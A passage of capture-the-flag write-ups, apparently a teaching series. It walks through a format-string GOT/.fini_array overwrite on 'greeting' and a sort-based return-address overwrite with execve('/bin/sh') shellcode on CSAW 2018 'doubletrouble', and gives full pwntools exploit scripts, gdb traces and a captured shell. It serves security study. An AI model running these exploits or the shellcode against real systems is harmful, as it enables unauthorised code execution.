    0xf7faff00 - 0xf7fb2a1c is .bss in /lib/i386-linux-gnu/libc.so.6
```

Through all of that we can see that the `.fini_array` is at `0x8049934`:

```
    0x08049934 - 0x08049938 is .fini_array
```

For the address we will loop back to, I choose `0x8048614`. This is the start of the setup for the `getnline` function call, and through trial and error we can see that it doesn't crash when we loop back here:

```
        0804860f e8 3c fe        CALL       printf
int printf(char * __format, ...)
                 ff ff
        08048614 c7 44 24        MOV        dword ptr [ESP + local_ac],0x40
                 04 40 00
                 00 00
        0804861c 8d 44 24 5c     LEA        EAX=>name,[ESP + 0x5c]
        08048620 89 04 24        MOV        dword ptr [ESP]=>local_b0,EAX
        08048623 e8 51 00        CALL       getnline
undefined getnline(undefined4 pa
                 00 00
```

Now brings up the question of which function's got address will we overwrite. Since the function system takes a single argument (a char pointer), ideally it would be a function that takes a single argument that is a char pointer to our input. I decided to go with the `strlen`, since in `getnline` it is called with a char pointer to our input. In addition to that, it isn't called somewhere else that would cause a crash with what we are doing. In Ghidra looking at the `.got.plt` memory region, we can see that the `got` entry is at `0x8049a54`:

```
                             PTR_strlen_08049a54
XREF[1]:     strlen:080484c0
        08049a54 20 a0 04 08     addr       strlen
= ??
```

We can also find it using `objdump`:

```
$    objdump -R greeting | grep system
08049a48 R_386_JUMP_SLOT   system@GLIBC_2.0
```

So now the last part I need to cover is actually exploiting the format string bug. I did this by hand, and it tends to get a bit grindy. The first thing we need to do is find our input in reference to the `printf` call, which we can do using the `%x` flag:

```
./greeting-1da3bd8f02ee33a89b6f998afbbcc55de162d88c95dbe6a8724aaaea7671cb4c
Hello, I'm nao!
Please tell me your name... 0000111122223333.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Nice to meet you,
0000111122223333.80487d0.ff8c4e3c.0.0.0.0.6563694e.206f7420.7465656d.756f7920.303
:)
```

So we can see our input popping up `3030202c.31313030.32323131.33333232` (`1 = 0x31` , `2 = 0x32` , `0 = 0x30`). Through a bit of shifting around values, we can find that the format string `xx0000111122223333` gives us what we need.

```
./greeting
Hello, I'm nao!
Please tell me your name... xx0000111122223333.%12$x.%13$x.%14$x.%15$x
Nice to meet you, xx0000111122223333.30303030.31313131.32323232.33333333 :)
```

Now when printf writes a value, it will write the amount of bytes it has printed. So if we need to write the value `0x804` , we need to print that many bytes. Since we are writing values like `0x8048614` I choose to split it up, that way we don't need to wait several minutes for the printf call to finish. I split up each write into two seperate writes, and that is why we needed four four byte spaces, each one for a different address. For the split writes, we will first write to the lower two bytes of each address. Since the top two bytes for each of the values we are writing is the same (`0x804`) I choose to write those last.

Now when I ran the exploit below hand, these are the values that are written by default. At this point I know everything I need to write the exploit, except the extra number of bytes I need to print to write the correct values (to print `13` bytes we can just specify the format string `%13x`):

```
gef➤  x/x 0x8049934
0x8049934:    0x00240024
gef➤  x/x 0x8049a54
0x8049a54 <strlen@got.plt>:    0x00240024
```

The first write I do is the the lower two bytes of the `.fini_array` address `0x8049934` . I need it to be the value `0x8614` , and it's value right now is `0x24` . So we just need to print an additional `0x8614 - 0x24 = 34288` bytes to get it to that value. Also the bytes printed before will affect future writes, so I just went through and did this for each individual write (except for the last two, since they were the same write I only needed to have one additional bytes printing for it). Subsequent writes can only be greater or equal to, not lesser.

When we try to write the higher two bytes, we run into a bit of an issue:

```
gef➤  x/x 0x8049934
0x8049934:    0x84908614
gef➤  x/x 0x8049a54
0x8049a54 <strlen@got.plt>:    0x84908490
```

The value it is writing to the higher two bytes is `0x8490`, however the value we need to write is smaller than that `0x0804`. So what we can do is write a larger value to it that contains the value `0x0804`, however the higher portion of that number will end up outside of the area we are writing to it. In order to do this, we will need to print `33652` bytes:

```
>>> (0x10000 - 0x8490) + 0x804
33652
```

we can see that the value were writing overflows into other subsequent dwords, however it doesn't really affect us:

```
gef➤  x/2x 0x8049934
0x8049934:    0x08048614    0x00000002
gef➤  x/2x 0x8049a54
0x8049a54 <strlen@got.plt>:    0x08048490    0xf7d40002
```

With all of that, we can put it together and we get this exploit:

```
from pwn import *

# Establish the target process
target = process('greeting')
gdb.attach(target, gdbscript = 'b *0x0804864f')

# The values we will be overwritting
finiArray = 0x08049934
strlenGot = 0x08049a54

# The values we will be overwritting with
getline = 0x8048614
systemPlt = 0x8048490

# Establish the format string
payload = ""

# Just a bit of padding
payload += "xx"

# Address of fini array
payload += p32(finiArray)

# Address of fini array + 2
payload += p32(finiArray + 2)

# Address of got entry for strlen
payload += p32(strlenGot)

# Address of got entry for strlen + 2
payload += p32(strlenGot + 2)

# Write the lower two bytes of the fini array with loop around address (getline
setup)
payload += "%34288x"
payload += "%12$n"

# Write the lower two bytes of the plt system address to the got strlen entry
payload += "%65148x"
payload += "%14$n"

# Write the higher two bytes of the two address we just wrote to
# Both are the same (0x804)
payload += "%33652x"
payload += "%13$n"
payload += "%15$n"

# Print the length of our fmt string (make sure we meet the size requirement)
print "len: " + str(len(payload))

# Send the format string
target.sendline(payload)
```

```
# Send '/bin/sh' to trigger the system('/bin/sh') call
target.sendline('/bin/sh')

# Drop to an interactive shell
target.interactive()
```

With that exploit, we get shell!

Array Indexing

Csaw 2018 doubletrouble Pwn 200 (The Floating)

This writeup is dedicated to Pennywise the Dancing Clown. We all float down here: https://www.youtube.com/watch?v=wHbpWtMOJTI

Let's take a look at the binary:

```
$ ./doubletrouble
0xff930988
How long: 5
Give me: 15935728
Give me: 75395128
Give me: 95135728
Give me: 35715928
Give me: 82753951
0:1.593573e+07
1:7.539513e+07
2:9.513573e+07
3:3.571593e+07
4:8.275395e+07
Sum: 304936463.000000
Max: 95135728.000000
Min: 15935728.000000
My favorite number you entered is: 15935728.000000
Sorted Array:
0:1.593573e+07
1:3.571593e+07
2:7.539513e+07
3:8.275395e+07
4:9.513573e+07
$  pwn checksec doubletrouble
[*] '/Hackery/csaw18/pwn/doubletrouble/doubletrouble'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
$  file doubletrouble
doubletrouble: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0,
BuildID[sha1]=b9a11827e910481da3ed76a1425d4c110fd0db97, not stripped
```

So we can see a couple of things. It appears to prompt us for a number of inputs, then it takes in those inputs and converts them to doubles. Proceeding that it does some arithmetic on those doubles, then sorts the doubles least to greatest. We can also see that we get what looks like to be a stack infoleak, but we confirm that it is a stack infoleak with gdb:

```
gdb-peda$ r
Starting program: /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0xffffcd68
How long: ^C

. . .

gdb-peda$ vmmap
Start      End        Perm Name
0x08048000 0x0804b000 r-xp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804b000 0x0804c000 r-xp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804c000 0x0804d000 rwxp /Hackery/csaw18/pwn/doubletrouble/doubletrouble
0x0804d000 0x0806f000 rwxp [heap]
0xf7dd5000 0xf7faa000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7faa000 0xf7fab000 ---p /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fad000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fad000 0xf7fae000 rwxp /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7fb1000 rwxp mapped
0xf7fcf000 0xf7fd1000 rwxp mapped
0xf7fd1000 0xf7fd4000 r--p [vvar]
0xf7fd4000 0xf7fd6000 r-xp [vdso]
0xf7fd6000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp [stack]
```

here we can see that the infoleak is from the stack (which starts at `0xfffdd000` and ends at `0xffffe000`). Also some other important things we can see about the binary, it has a stack canary and `RWX` segments (regions of memory that we can read, write, and execute). We can also see that it is a `32` bit elf

Reversing

So starting off we have the main function (which we use Ghidra to decompile):

```
/* WARNING: Type propagation algorithm not settling */

undefined4 main(void)

{
  int canary;

  canary = __x86.get_pc_thunk.ax(&stack0x00000004);
  setvbuf((FILE *)(*(FILE **)(canary + 0x27da))->_flags,(char *)0x0,2,0);
  game();
  return 0;
}
```

From our perspective, the only thing we need to worry about here is that it calls `game()` which we can see here:

```c
int game()
{
  int index; // esi@5
  long double sum; // fst7@7
  long double max; // fst7@7
  long double min; // fst7@7
  int favorite; // eax@7
  int result; // eax@7
  int v6; // ecx@7
  int heapQt; // [sp+Ch] [bp-21Ch]@1
  int i; // [sp+10h] [bp-218h]@4
  char *s; // [sp+14h] [bp-214h]@5
  double ptrArray[64]; // [sp+18h] [bp-210h]@1
  int canary; // [sp+21Ch] [bp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  printf("%p\n", ptrArray);
  printf("How long: ");
  __isoc99_scanf("%d", &heapQt);
  getchar();
  if ( heapQt > 64 )
  {
    printf("Flag: hahahano. But system is at %d", &system);
    exit(1);
  }
  i = 0;
  while ( i < heapQt )
  {
    s = (char *)malloc(0x64u);
    printf("Give me: ");
    fgets(s, 100, stdin);
    index = i++;
    ptrArray[index] = atof(s);
  }
  printArray(&heapQt, (int)ptrArray);
  sum = sumArray(&heapQt, ptrArray);
  printf("Sum: %f\n", (double)sum);
  max = maxArray(&heapQt, ptrArray);
  printf("Max: %f\n", (double)max);
  min = minArray(&heapQt, ptrArray);
  printf("Min: %f\n", (double)min);
  favorite = findArray(&heapQt, (int)ptrArray, -100.0, -10.0);
  printf("My favorite number you entered is: %f\n", ptrArray[favorite]);
  sortArray(&heapQt, (int)ptrArray);
  puts("Sorted Array:");
  result = printArray(&heapQt, (int)ptrArray);
  if ( *MK_FP(__GS__, 20) != canary )
    _stack_chk_fail_local(v6, *MK_FP(__GS__, 20) ^ canary);
  return result;
}
```

So we can see how this game goes down. It first starts by printing the address of `ptrArray` for the infoleak, which we later see is where our input is stored as a double. scanning in an integer into `heapQt`. Proceeding that it checks to make sure it isn't greater than `64` (this is because `ptrArray` is only big enough to hold `64` doubles). If it is, the program exits and prints the address of system to taunt us for being bad. Proceeding that it enters into a for loop which runs `heapQt` times, which each time it scans in `100` bytes of data into the heap, then converts it into a double, and stores it in the array `ptrArray`. Proceeding that, it runs a number of sub functions with `heapQt` and `ptrArray` as arguments.

Looking at the `sumArray`, `maxArray`, and `minArray` functions, they do pretty much what we would expect them to do. However when we get to `findArray`, that's when we see something intersting:

```
int __cdecl findArray(int *heapQt, int ptrArray, double a3, double a4)
{
  int v5; // [sp+1Ch] [bp-4h]@1

  _x86_get_pc_thunk_ax();
  v5 = *heapQt;
  while ( *heapQt < 2 * v5 )
  {
    if ( *(double *)(8 * (*heapQt - v5) + ptrArray) > (long double)a3
      && a4 > (long double)*(double *)(8 * (*heapQt - v5) + ptrArray) )
    {
      return *heapQt - v5;
    }
    *heapQt += (int)&GLOBAL_OFFSET_TABLE_ + 0xF7FB4001;
  }
  *heapQt = v5;
  return 0;
}
```

Particularyly this line is interesting:

```
  *heapQt = v5;
```

This dereferences a ptr to `heapQt` and writes a value to it. This is interesting to us, since it will allow us to change the value of `heapQt`, which is then passed as an argument to `sortArray`. Looking at the condition (since `a3` is `-10` and `a4` is `-100`), it appears that a value between `-10` and `-100` will trigger the write (I used `-23`). The write appears to increase the value of `heapQt`. Next up we have the `sortArray` function:

```
signed int __cdecl sortArray(_DWORD *heapQt, int ptrArray)
{
  double v2; // ST08_8@4
  int i; // [sp+0h] [bp-10h]@1
  int j; // [sp+4h] [bp-Ch]@2

  _x86_get_pc_thunk_ax();
  for ( i = 0; i < *heapQt; ++i )
  {
    for ( j = 0; j < *heapQt - 1; ++j )
    {
      if ( *(double *)(8 * j + ptrArray) > (long double)*(double *)(8 * (j + 1)
+ ptrArray) )
      {
        v2 = *(double *)(8 * j + ptrArray);
        *(double *)(8 * j + ptrArray) = *(double *)(ptrArray + 8 * (j + 1));
        *(double *)(8 * (j + 1) + ptrArray) = v2;
      }
    }
  }
  return 1;
}
```

So looking at this function, we can see that it essentially will loop through the first `heapQt` doubles of `ptrArray`. It will compare the value of that double, with the value of the double after it. If the double after it is less than the double before it, it will swap the two. So essentially it just organizes `heapQt` doubles, starting at the start of `ptrArray` from smallest to biggest double.

Exploitation

So we have a bug, where we can overwrite the number of doubles which is sorted in `sortArray`. We also have a stack infoleak, an executable stack, and the abillity to write data to the stack. And looking at the stack layout in IDA, we see that `16` bytes after our double array is the return address:

```
-00000210 ptrArray        dq 64 dup(?)
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C canary          dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
```

Essentially what we will do is, we will write a greater value to `heapQt` than `64`, that way it will start sorting data past `ptrArray`. Specifically, we will get it to place an address that we want where the return address is stored at `ebp+0x4`, which will give us code execution. We will also need to make sure the sorting algorithm leaves the stack canary in the same place, otherwise the binary will crash before we get code execution.

```
gdb-peda$ x/152x 0xff8969b8
0xff8969b8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969c8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969d8: 0x00000000  0xff820d84  0x00000000  0xc0370000
0xff8969e8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff8969f8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a08: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a18: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a28: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a38: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a48: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a58: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a68: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a78: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a88: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896a98: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896aa8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ab8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ac8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ad8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896ae8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896af8: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b08: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b18: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b28: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b38: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b48: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b58: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b68: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b78: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b88: 0x00000000  0xff820d84  0x00000000  0xff820d84
0xff896b98: 0x00000000  0xff820d84  0x00000000  0x00000000
0xff896ba8: 0x00000000  0x00000000  0x00000000  0x0804900a
0xff896bb8: 0xff896bd8  0x1d781100  0x0804c000  0xf7f41000
0xff896bc8: 0xff896bd8  0x08049841  0xff896bf0  0x00000000
0xff896bd8: 0x00000000  0xf7d81e81  0xf7f41000  0xf7f41000
0xff896be8: 0x00000000  0xf7d81e81  0x00000001  0xff896c84
0xff896bf8: 0xff896c8c  0xff896c14  0x00000001  0x00000000
0xff896c08: 0xf7f41000  0xf7f7975a  0xf7f91000  0x00000000
gdb-peda$ i f
Stack level 0, frame at 0xff896bd0:
 eip = 0x8049733 in game; saved eip = 0x8049841
 called by frame at 0xff896bf0
 Arglist at 0xff896bc8, args:
 Locals at 0xff896bc8, Previous frame's sp is 0xff896bd0
 Saved registers:
  ebx at 0xff896bc0, ebp at 0xff896bc8, esi at 0xff896bc4, eip at 0xff896bcc
gdb-peda$ x/x $ebp-0xc
0xff896bbc: 0x1d781100
```

So we can see here, an example memory layout of the stack prior to the sorting. We can see that the return adress is at `0xff896bcc` (which is `0x8049841`) and the stack canary is at

`0xff896bbc` (which is `0x1d781100`). In this instance, my input ends at `0xff896bb4` with `0x0804900a00000000`. Keep in mind, that when evaluating the doubles (which are `8` bytes in memory) the last `4` bytes are stored first, which are followed by the first `4` bytes. For instance.

```
 gdb-peda$ p/f 0x0804900a00000000
 $1 = 4.8653382194983783e-270
gdb-peda$ p/f 0xff820d8400000000
$2 = -1.5846380065386629e+306
```

We can see that our input largely consists of the values `4.8653382194983783e-270`, which is followed by `-1.5846380065386629e+306`.

We can see that values that start with `0xf` are really small when interpreted as a float. Thus they will float up the stack, while larger float values like `0x8049841` (which is the return address) would get moved to the bottom.

Now to get the return address overwritten, what we can do is we can make the value of `heapQt` that which it extense to two doubles past the return address, which will be the value `69` (hex `0x45`). To get it to this value, I didn't reverse the algroithm to figure out what value get's written. I just noticed that the number of inputs I send before/after `-23` (which triggers the write) influences it, so I just played with it untill I got it right.

Proceeding that, we will include three floats which their hex value begins with `0x804`. They will all be less than the value `0x8049841` when converted to a float. The reason for this being, that they should be greater than all values other than the return address (`0x8049841`) which is the same everyt time, so it will occupy the value before, after, and the same as the return address. Now because the value we have in the return address has to start with `0x804` and be less than `0x8049841`, this limits us to what we can call to certain sections of the code, such as certain ROP gadgets. However we find one that meets our needs:

```
ROPgadget --binary doubletrouble | grep 804900a
0x0804900a : ret
```

This particular rop gadget fits our needs for two reasons. The first is that when converted to a float, it is less than `0x8049841` so it will be before it after the sorting. The second reason is that all it does is just returns. This is beneftitial to us, since all it will do is just continue to the next address and execute it, which will be the last `4` bytes of the next double. We can place the stack address of our shellcode (we know it from the stack infoleak, and the stack is executable). With the first four bytes of the double, we can put a value between `0x804900a` and `0x8049841`. That way this double will always come between the actual return address, and `0x804900a`. This will allow us to execute our shellcode on the stack, which we can't simply just push it into the return address spot, since it starts with `0xff` and will just float to the top.

The value that we will have before the `0x804900a` double will be `0x8000000000000000`. The reason for this, is it will occupy the spot between the stack canary and the `0x804900a` double. This way, after the sorting, the stack canary will remain in the same spot. Of course, this will only work if the stack canary's value is less tgab `0x8000000`, but bigger than the previous double. This gives us a range of about 8 different bytes which the stack canary could be which our exploit would work. The thing is since the stack canary is a random value (will the first three bytes for `x86` are, the fourth is always a null byte), and since the position of everything depends on it's value with respect to other floats, we will have to assume that the stack canary is within a certain value in order for our exploit to work. For testing purposes we can just set the stack canary to the value within the range. When we go ahead and run the exploit for real, we can just brute force the canary value we need by running the exploit again and again untill we get a stack canary value within the range we need.

The last thing we need to worry about is our shellcode, since we will need to know where it is on the stack to execute it, and we also need to make sure it stays intact and in the correct order after it is sorted. The way I accomplished this is by appending the `0x90` byte a certain amount of times tot he front of ceratin parts of shellcode. This is because when executed `0x90` is the opcode for `NOP` which continues execution and doesn't effect our shellcode in any important way, and it will be evaluated as less than values starting with `0x804` so it won't affect the stack canary or what we did to write over the return address.

However when we insert the NOPs into our shellcode, we will have to rewite/recompile the shellcode. The reason for this, is because if we just insert NOPs into random places, there is a good chance we will insert a NOP in the middle of an instruction, which will change what the instruction does. Also note, the base shellcode I did not write. I grabbed it from `http://shell-storm.org/shellcode/files/shellcode-599.php` and modified it. Also I found that this website which is an online x86/x64 decompiler/compiler helped `https://defuse.ca/online-x86-assembler.htm`:

here is the shellcode before we modified it:

```
0:  6a 17                   push   0x17
2:  58                      pop    eax
3:  31 db                   xor    ebx,ebx
5:  cd 80                   int    0x80
7:  50                      push   eax
8:  68 2f 2f 73 68          push   0x68732f2f
d:  68 2f 62 69 6e          push   0x6e69622f
12: 89 e3                   mov    ebx,esp
14: 99                      cdq
15: 31 c9                   xor    ecx,ecx
17: b0 0b                   mov    al,0xb
19: cd 80                   int    0x80
```

This shellcode is `27` bytes. After we figure out how to split the individual commands up with `\x90` s in a way that the instructions will still execute properly, and after the sorting the shellcode will be in the proper order, we get the following segments:

```
0x9101eb51e1f7c931:

0x90909068732f2f68:

0x9090406e69622f68:

0x900080cd0bb0e389:
```

keep in mind, because of how the data is stored, the last four bytes will be executed first. After a lot of trial and error, we see that this is our shellcode:

```
gdb-peda$ x/16i 0xffff7ca0
   0xffff7ca0: xor    ecx,ecx
   0xffff7ca2: mul    ecx
   0xffff7ca4: push   ecx
   0xffff7ca5: jmp    0xffff7ca8
   0xffff7ca7: xchg   ecx,eax
   0xffff7ca8: push   0x68732f2f
   0xffff7cad: nop
   0xffff7cae: nop
   0xffff7caf: nop
   0xffff7cb0: push   0x6e69622f
   0xffff7cb5: inc    eax
   0xffff7cb6: nop
   0xffff7cb7: nop
   0xffff7cb8: mov    ebx,esp
   0xffff7cba: mov    al,0xb
   0xffff7cbc: int    0x80
```

Also to find the offset from the infoleak to where our shellcode is, we can just run the exploit once with our shellcode, and see where our shellcode ends up in respect to the stack infoleak. When I did this, I found that the offset was `+0x1d8` bytes from the infoleak.

tl ; dr

A quick overview of this challenge

```
*  Program scans in up to 64 doubles, and sorts them from smallest to largest
*  Bug in `findArray` allows us to overwrite the float count with a larger
value, thus when it sorts the doubles, it will sort values past our input,
allowing us to move the return address.
*  Format payload to call rop gadget, then shellcode on the stack using stack
infoleak. The canary has to be within a set range.
*  Format the shellcode to be together after the sorting
*  Brute force the stack canary untill it is within a range that wouldn't crash
our exploit
```

Exploit

putting it all together, we get the following exploit:

```
# Import the libraries
from pwn import *
import struct

# Establish the target
#target = process('./doubletrouble')
#gdb.attach(target, gdbscript='b *0x8049733')
target = remote('pwn.chal.csaw.io', 9002)

# Get the infoleak, calculate the offset to our shellcode
stack = target.recvline()
stack = stack.replace("\x0a", "")
stack = int(stack, 16)
scadr = stack + 0x1d8

# Create the integer we will create, that will be stored as the double after the
ROPgadget 0x804900a, which is the first return address we put
ret = "0x8049010" + hex(scadr).replace("0x", "")
ret = int(ret, 16)

# Scan in some of the input
target.recvuntil("How long: ")


# Etsablish the four blocks as floats, which make up our shellcode
s1 = "-9.455235083177544e-227"# 0x9101eb51e1f7c931
s2 = "-6.8282747051424842e-229"# 0x90909068732f2f68
s3 = "-6.6994892300412978e-229"# 0x9090406e69622f68
s4 = "-1.3287388429188698e-231"# 0x900080cd0bb0e389
# shellcode does the following:
'''
   0xffff7ca0: xor    ecx,ecx
   0xffff7ca2: mul    ecx
   0xffff7ca4: push   ecx
   0xffff7ca5: jmp    0xffff7ca8
   0xffff7ca7: xchg   ecx,eax
   0xffff7ca8: push   0x68732f2f
   0xffff7cad: nop
   0xffff7cae: nop
   0xffff7caf: nop
   0xffff7cb0: push   0x6e69622f
   0xffff7cb5: inc    eax
   0xffff7cb6: nop
   0xffff7cb7: nop
   0xffff7cb8: mov    ebx,esp
   0xffff7cba: mov    al,0xb
   0xffff7cbc: int    0x80
'''

# Send the amount of floats we will input, and then send the first 5
target.sendline('64')
for i in range(5):
```

```
   target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# Send the value which will trigger the bug to write over heapQt
target.sendline('-23')

# Send the rest of the filler floats
for i in range(51):
   target.sendline('-1.5846380065386629e+306')#0xff820d8400000000

# This is the value which will be between the stack canary, and the double which
occupies the return address
target.sendline('3.7857669957336791e-270')#0x0800000000000000

# Send the shellcode blocks
target.sendline(s1)
target.sendline(s2)
target.sendline(s3)
target.sendline(s4)

# Send the double which will reside after the return address double, which will
store the address of our shellcode in the last four bytes.
# We have to convert the int to a float, so it's stored in memory correctly
target.sendline("%.19g" % struct.unpack("<d", p64(ret)))

# Send the double which will occupy the return address with the gadget
0x804900a: ret
target.sendline('4.8653382194983783e-270')#0x804900a00000000

# Drop to an interactive shell
target.interactive()
```

we have to run the exploit several times before it works (due to the fact that we need the first byte of the canary to be in a certain range). But once it is, we get this:

```
$  python exploit.py
[+] Opening connection to pwn.chal.csaw.io on port 9002: Done
[*] Switching to interactive mode
64
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-23
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.58463800653Give me: 86629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
```

```
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
-1.5846380065386629e+306
3.7857669957336791e-270
-9.455235083177544e-Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: Give me: 227
-6.8282747051424842e-229
-6.6994892300412978e-229
-1.3287388429188698e-231
4.865363487548704948e-270
4.8653382194983783e-270
Give me: Give me: Give me: Give me: Give me: 0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-2.300000e+01
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
```

```
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-1.584638e+306
57:3.785767e-270
58:-9.455235e-227
59:-6.828275e-229
60:-6.699489e-229
61:-1.328739e-231
62:4.865363e-270
63:4.865338e-270
Sum:
-887397283661651250286854484060296435462777766777117318664892444138848503976024648
Max: 0.000000
Min:
-158463800653866294694081157867910077761210315495913806904445079310508661424290115
My favorite number you entered is: -23.000000
Sorted Array:
0:-1.584638e+306
1:-1.584638e+306
2:-1.584638e+306
3:-1.584638e+306
4:-1.584638e+306
5:-1.584638e+306
6:-1.584638e+306
7:-1.584638e+306
8:-1.584638e+306
9:-1.584638e+306
10:-1.584638e+306
11:-1.584638e+306
12:-1.584638e+306
```

13:-1.584638e+306
14:-1.584638e+306
15:-1.584638e+306
16:-1.584638e+306
17:-1.584638e+306
18:-1.584638e+306
19:-1.584638e+306
20:-1.584638e+306
21:-1.584638e+306
22:-1.584638e+306
23:-1.584638e+306
24:-1.584638e+306
25:-1.584638e+306
26:-1.584638e+306
27:-1.584638e+306
28:-1.584638e+306
29:-1.584638e+306
30:-1.584638e+306
31:-1.584638e+306
32:-1.584638e+306
33:-1.584638e+306
34:-1.584638e+306
35:-1.584638e+306
36:-1.584638e+306
37:-1.584638e+306
38:-1.584638e+306
39:-1.584638e+306
40:-1.584638e+306
41:-1.584638e+306
42:-1.584638e+306
43:-1.584638e+306
44:-1.584638e+306
45:-1.584638e+306
46:-1.584638e+306
47:-1.584638e+306
48:-1.584638e+306
49:-1.584638e+306
50:-1.584638e+306
51:-1.584638e+306
52:-1.584638e+306
53:-1.584638e+306
54:-1.584638e+306
55:-1.584638e+306
56:-8.130783e+269
57:-2.367557e+269
58:-2.300000e+01
59:-9.455235e-227
60:-6.828275e-229
61:-6.699489e-229
62:-1.328739e-231
63:2.119251e-314
64:3.931085e-303
65:3.785767e-270

```
66:4.865338e-270
67:4.865363e-270
68:4.872934e-270
sh: 0: can't access tty; job control turned off
$ $ ls
ls
doubletrouble  flag.txt
